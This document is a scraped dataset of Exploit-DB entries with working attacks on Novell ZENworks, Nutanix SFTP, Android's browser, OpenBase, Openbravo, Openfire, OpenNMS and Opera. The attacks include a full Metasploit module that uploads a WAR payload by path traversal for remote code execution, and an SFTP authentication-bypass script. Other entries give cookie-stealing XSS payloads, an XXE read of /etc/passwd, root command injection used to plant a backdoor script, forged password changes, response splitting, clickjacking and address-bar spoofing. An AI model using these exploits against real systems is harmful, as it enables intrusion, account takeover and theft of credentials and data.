deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16784
Description: Novell ZENworks Configuration Management 10.2.0 - Remote Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2010-11-22
Author: Metasploit

Exploit:
##
# $Id: zenworks_uploadservlet.rb 11099 2010-11-22 17:53:49Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
			'Description' => %q{
					This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
				By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
				and then make a secondary request that allows for arbitrary code execution.
			},
			'Author'      => [ 'MC' ],
			'License'     => MSF_LICENSE,
			'Version'     => '$Revision: 11099 $',
			'References'  =>
				[
					[ 'OSVDB', '63412' ],
					[ 'BID', '39114' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
					[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
				],
			'Privileged'  => true,
			'Platform'    => [ 'java', 'win', 'linux' ],
			'Targets'     =>
				[
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					],
					[ 'Windows x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'Linux x86', # should work but untested
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 30 2010'))

		register_options([Opt::RPORT(80),], self.class)
	end

	def exploit

		# Generate the WAR containing the EXE containing the payload
		app_base = rand_text_alphanumeric(4+rand(32-4))
		jsp_name = rand_text_alphanumeric(8+rand(8))

		war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

		res = send_request_cgi(
			{
				'uri'    => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
				'method' => 'POST',
				'data'   => war_data,
				'headers' =>
					{
						'Content-Type' => 'application/octet-stream',
					}
			})

		print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

		select(nil, nil, nil, 20)

		if (res.code == 200)
			print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
				send_request_raw(
					{
						'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
						'method' => 'GET',
					})
		else
			print_error("Denied...")
		end

		handler
	end

end
Exploit-DB #31047
Description: Novemberborn sIFR 2.0.2/3 - 'txt' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-01-22
Author: Jan Fry

Exploit:
source: https://www.securityfocus.com/bid/27394/info

Novemberborn sIFR is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to sIFR 2.0.3 and 3r278 are vulnerable. 

https://www.example.com/<fontname>.swf?txt=<a href="http://www.example2.com">click me!</a> http://www.example.com/fonts/FuturaLt.swf?txt=%3Ca%20href=%22javascript:alert(document.cookie)%22%3Eclick%20me!%3C/a%3E&textalign=left&offsetTop=-2&textcolor=
Exploit-DB #21767
Description: NullLogic Null HTTPd 0.5 - Error Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2002-09-02
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5603/info

NullLogic Null HTTPd is a small multithreaded webserver for Linux and Windows.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in error pages. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://localhost/a?x=<SCRIPT>alert(document.URL)</SCRIPT>
Exploit-DB #23176
Description: NullLogic Null HTTPd 0.5.1 - Error Page Long HTTP Request Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-09-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/8695/info

It has been reported that Null HTTPd is prone to a cross-site scripting vulnerability when displaying error pages that may allow an attacker to execute HTML or script code in a user's browser. The issue was previously reported and fixed (BID 5603), however an attacker may send a long HTTP request to the software, which may overwrite memory containing the fix for cross-site scripting issue. As a result, an attacker may bypass the check for cross-site scripting and construct a link containing malicious HTML and script code to be rendered in a user's browser upon visiting that link.

Successful exploitation of this issue may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Null HTTPd version 0.5.1 and prior are reported to be prone to this issue. 

http://www.example.com/ [1799 bytes --needed to avoid XXS] [243 bytes --XXS code]


Answer from NULLhttpd:

----
HTTP/1.0 200 OK
Cache-Control: no-store
Connection: Close
Content-Length: 472
Date: Tue, 23 Sep 2003 11:39:30 GMT
Expires: Tue, 23 Sep 2003 11:39:30 GMT
Last-Modified:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaano-cache
Pragma: no-cache
Server: Null httpd 0.5.1
Content-Type: text/html

<script>alert('hello');</script>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxx<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>
<BODY BGCOLOR=#F0F0F0 TEXT=#000000 LINK=#0000FF ALINK=#0000FF VLINK=#0000FF>
<H1>400 Bad Request</H1>
Can't Parse Request.
<HR>
<ADDRESS>Null httpd 0.5.1</ADDRESS>
</BODY></HTML>
----
Exploit-DB #45748
Description: Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass
Type: remote
Platform: multiple
Date: 2018-10-30
Author: Adam Brown

Exploit:
# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.nutanix.org
# Software Link: https://www.nutanix.com/products/software-options/
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)
# Tested on: Acropolis Operating System
# CVE : Related to CVE-2018-7750
#
# This PoC is based on discussions found at the following blog post:
#   https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the
# authentication step before allowing the client to open channels. The PoC below
# connects to the acropolis SFTP server, and lists the root directory without
# authenticating.

#!/usr/bin/python
import paramiko

host = '127.0.0.1'
port = 2222

trans = paramiko.Transport((host, port))
trans.start_client()

# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')

sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()
Exploit-DB #36006
Description: Open Handset Alliance Android 2.3.4/3.1 - Browser Sandbox Security Bypass
Type: remote
Platform: multiple
Date: 2011-08-02
Author: Roee Hay

Exploit:
source: https://www.securityfocus.com/bid/48954/info

Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox.

Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain.

Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected. 

public class CasExploit extends Activity
{
   static final String mPackage = "com.android.browser";
   static final String mClass = "BrowserActivity";
   static final String mUrl = "http://target.domain/";;
   static final String mJavascript = "alert(document.cookie)";
   static final int mSleep = 15000;

   @Override
   public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.main);
      startBrowserActivity(mUrl);
         try {
             Thread.sleep(mSleep);
         }
         catch (InterruptedException e) {}
         startBrowserActivity("javascript:" + mJavascript);
   }

   private void startBrowserActivity(String url) {
      Intent res = new Intent("android.intent.action.VIEW");
      res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
      res.setData(Uri.parse(url));
      startActivity(res);
   }
}
Exploit-DB #30742
Description: OpenBase 10.0.x - Remote Buffer Overflow / Remote Command Execution
Type: remote
Platform: multiple
Date: 2007-11-05
Author: Kevin Finisterre

Exploit:
source: https://www.securityfocus.com/bid/26347/info

OpenBase is prone to a buffer-overflow vulnerability and multiple remote command-execution vulnerabilities.

An attacker could exploit these issues to execute arbitrary code or commands with superuser privileges. Successfully exploiting these issues will facilitate in the complete compromise of affected computers. 

1. call AsciiBackup('\`id\`')
results in commands being run as root.

desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages

OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.

Using database 'WOMovies' on host 'localhost'

Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck

2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
results in root owned files being created. Combine with above for an
easy backdoor.

openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Success
- ----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1>  call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Failure
- ----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>

3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
results in zone_free() issues referencing 0x61616161

4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
results in commands being run as root
Exploit-DB #38818
Description: Openbravo ERP - XML External Entity Information Disclosure
Type: remote
Platform: multiple
Date: 2013-10-30
Author: Tod Beardsley

Exploit:
source: https://www.securityfocus.com/bid/63431/info

Openbravo ERP is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Openbravo ERP 2.5 and 3.0 are vulnerable. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo>
Exploit-DB #32967
Description: Openfire 3.x - jabber:iq:auth 'passwd_change' Remote Password Change
Type: remote
Platform: multiple
Date: 2009-05-04
Author: Daryl Herzmann

Exploit:
source: https://www.securityfocus.com/bid/34804/info

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>
Exploit-DB #32458
Description: OpenNMS 1.5.x - HTTP Response Splitting
Type: remote
Platform: multiple
Date: 2008-10-05
Author: BugSec LTD

Exploit:
source: https://www.securityfocus.com/bid/31577/info

OpenNMS is prone to an HTTP response-splitting vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/event/query?%0D%0AContent-Length:%200%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text
/html%0D%0AContent-Length:%2036%0D%0A%0D%0A<html><body>BugSec</body></html><!--
Exploit-DB #24701
Description: OpenWFE 1.4.x - Cross-Site Scripting / Connection Proxy
Type: remote
Platform: multiple
Date: 2004-10-25
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11514/info

OpenWFE is affected by a cross-site scripting and connection proxy vulnerability. These issues are due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issue to steal cookie-based authentication credentials as well as carry out other attacks by executing client-based script code in an unsuspecting user's browser. An attacker may leverage the connection proxy issue to scan arbitrary network computers anonymously, facilitating further attacks.

To leverage the cross-site scripting issue:
rmi://www.example.com:7080/workSessionServer"><script>alert(document.cookie)</script>

To leverage the connection proxy issue:
rmi://<targetHostName>:<targetPort>/workSessionServer
Exploit-DB #14386
Description: Opera Browser 10.60 - Clickjacking
Type: remote
Platform: multiple
Date: 2010-07-17
Author: Pouya Daneshmand

Exploit:
<html>
<style type="text/css">
</style>
<body>
<p align="center"><code class="xml plain"><font face="Calibri" size="6">
Opera</font><font face="Calibri" size="6" color="#FF0000">
</font><font face="Calibri" size="6"> Browser</font><font face="Calibri" size="6" color="#FF0000"> </font></code>
<font face="Arial" size="2"><code class="xml plain">
(V10.60)</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
<b>Clickjacking</b></code></font></p>
<p align="center"> </p>
<div class="style1" id="open"
style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
<p align="center">
<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"><strong>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.google.com" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
<p><br>
</p>
<div class="style1" id="open0"
style="position:absolute; width:2px; height:13px; background:#FFFFFF; border:1px none; left: 354px; top: 146px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
<p align="center">
<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"> </p>
<p align="center"> </p>
<p align="center">Discovered by: Pouya Daneshmand (whh_iran[at]yahoo[dot]com)</p>
<p align="center">http://Securitylab.ir/Advisory</p>
</html>
Exploit-DB #33363
Description: Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution
Type: remote
Platform: multiple
Date: 2009-11-20
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/37078/info

Opera Web Browser is prone to a remote code-execution vulnerability.

Successful exploits may allow an attacker to execute arbitrary code. Failed attacks may cause denial-of-service conditions.

NOTE: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

This issue affects Opera 10.01; other versions may also be affected. 


<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
Exploit-DB #35284
Description: Opera Web Browser 11.00 - 'option' HTML Element Integer Overflow
Type: remote
Platform: multiple
Date: 2011-01-25
Author: C4SS!0 G0M3S

Exploit:
source: https://www.securityfocus.com/bid/46003/info

Opera Web Browser is prone to a remote integer-overflow vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks will cause denial-of-service conditions.

Opera 11.00 is vulnerable; other versions may also be affected.

print "[*]Creating the Exploit\n"
i = 0
buf = "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"
 
while i<0x4141
     buf += "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>\n"
     i+=1
end
 
HTML =
"<html>\n"+
"<body>\n\n"+
"<select>\n\n"
 
HTML+=buf * 100
HTML += "\n\n\n\</select>\n\n"+
"</body>\n\n\n"+
"</html>\n\n\n\n\n"
 
f = File.open("Exploit_opera_11.00.html","w")
f.puts HTML
f.close
puts "\n\n\[*]File Created With Sucess"
sleep(1)
puts "[*]Go to my Site www.invasao.com.br!"
sleep(1)
Exploit-DB #23291
Description: Opera Web Browser 7 - IFRAME Zone Restriction Bypass
Type: remote
Platform: multiple
Date: 2003-10-24
Author: Mindwarper

Exploit:
source: https://www.securityfocus.com/bid/8887/info

A flaw in the Opera web browsers security model has been discovered that could allow an attacker to access a users filesystem within the Local Zone. The problem occurs when handling malformed HTML iframes which point to local system locations. Exploitation of this vulnerability could result in the exposure of sensitive data or could potentially lead to the corruption of system critical files.

**UPDATE: The vendor has contacted Symantec and has stated that this is not a vulnerability. Symantec has not been able to reproduce the claims made by the individual who reported this issue. This record is being retired, though it may be re-activated if further findings confirm existence of the vulnerability. 

<iframe name="abc" src="file:///C:/"></iframe>
Exploit-DB #24376
Description: Opera Web Browser 7.5 - Resource Detection
Type: remote
Platform: multiple
Date: 2004-07-17
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/10961/info

Opera Web Browser is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Opera.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

Opera 7.53 and prior versions running Windows, Unix, and Apple platforms are reported vulnerable to this issue.

<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
????var sLocal="c:/winnt";
????frames[0].location.href=sLocal;
????setTimeout(
????????function () {
????????????try {
????????????????frames[0].document;
????????????????alert(sLocal+" does not exists.");
????????????} catch (oErr) {
????????????????alert(sLocal+" exists.");
????????????}
????????},
????????250
????);
}
</script>
Exploit-DB #24325
Description: Opera Web Browser 7.53 - Location Replace URI Obfuscation
Type: remote
Platform: multiple
Date: 2004-07-27
Author: bitlance winter

Exploit:
source: https://www.securityfocus.com/bid/10810/info

Opera Web Browser is prone to a security weakness that may permit malicious web pages to spoof address bar information. This issue is due to a race condition error.

This issue may be leveraged by an attacker to display false information in the address bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to be derived from a trusted location. This may facilitate phishing attacks; attempted theft of user information for the purpose of identity theft.

<script>
function fake() {
 oc=window.open('http://www.opera.com/', '','location=1');
 oc.location.replace('http://www.example.com');
}
[/script]
<a href="javascript:void(0);" onClick="fake()">http://www.opera.com/</a>
Exploit-DB #26531
Description: Opera Web Browser 8.0/8.5 - HTML Form Status Bar Misrepresentation
Type: remote
Platform: multiple
Date: 2005-11-16
Author: Sverx

Exploit:
source: https://www.securityfocus.com/bid/15472/info

A vulnerability has been identified in Opera Web browser that allows an attacker to misrepresent the status bar in the browser, allowing vulnerable users to be mislead into following a link to a malicious site.

This vulnerability would most likely be exploited through HTML e-mail, though other attack vectors exist such as HTML injection attacks in third-party Web applications. 

<form action="[malicious site]">
<a href="www.example.com"><input type="image" src="[image]" title="www.example.com"></a>
</form>